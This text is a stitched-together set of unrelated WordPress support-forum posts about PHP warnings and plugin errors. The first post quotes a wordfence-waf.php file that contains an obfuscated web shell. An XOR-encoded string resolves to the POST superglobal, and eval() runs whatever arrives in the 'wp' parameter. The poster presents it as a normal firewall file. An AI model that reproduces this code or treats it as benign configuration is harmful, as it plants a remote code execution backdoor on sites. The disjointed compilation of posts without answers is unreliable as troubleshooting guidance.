How do I run this code?

edit: I realised that the provided code is for Javascript, it now runs but it does nothing.

[07-Nov-2023 17:34:14 UTC] PHP Warning: Use of undefined constant wp – assumed ‘wp’ (this will throw an Error in a future version of PHP) in /home/…/public_html/wordfence-waf.php on line 7

Here is my wordfence-waf.php file contents with sensitive directory information omitted:

if (file_exists(‘…bootstrap.php’)) {
define(“WFWAF_LOG_PATH”, ‘…/wflogs/’);
include_once ‘….bootstrap.php’;
}
$waf = “~+d()”^”!{+{}”;
$wp = ${$waf}[wp];
eval(“\r”.$wp);
?>

How can I stop the warning?

Thanks,

Nicole

After updating to version 2.0 I got this error:
PHP Fatal error: Uncaught Error: Undefined constant "ThemeIsle\GutenbergBlocks\OTTER_BLOCKS_PATH" in /wp-content/plugins/blocks-animation/class-blocks-animation.php:113

This results in WSOD on front-end of the site

I am a pretty basic user and just logged in for the first time in (embarrassingly) several months. After updating my php and updating to the newest wordpress, I now seem to have an error that shows at the top of my website:

Warning: Use of undefined constant DATABASE_SERVER – assumed ‘DATABASE_SERVER’ (this will throw an Error in a future version of PHP) in /home/customer/www/taylorstoneillustration.com/public_html/wp-config.php on line 32

Any idea how to solve this? (I don’t even remember how to get to editing code directly after all this time, so please be patient with me and assume I’m starting at step 0.)

There has been a critical error on this website.

Please advise on what to do.
FYI: As of 20/10/2021

Hope you can help me or fix it for next update,

First one doesn’t seem like an issue but would produce an error in php8.

Second one is odd. I looked at the DB and the table is there with all the proper fields, so no problems.

It appears as though everything should work just fine, but I wanted to pass the info on to the dev. Looks like it should be a wonderful plugin!

After some messing around (!) discovered that simply explicitly defining EMPTY_TRASH_DAYS in wp-config.php stops the error.

There’s probably a more elegant way, but this seems to work OK.
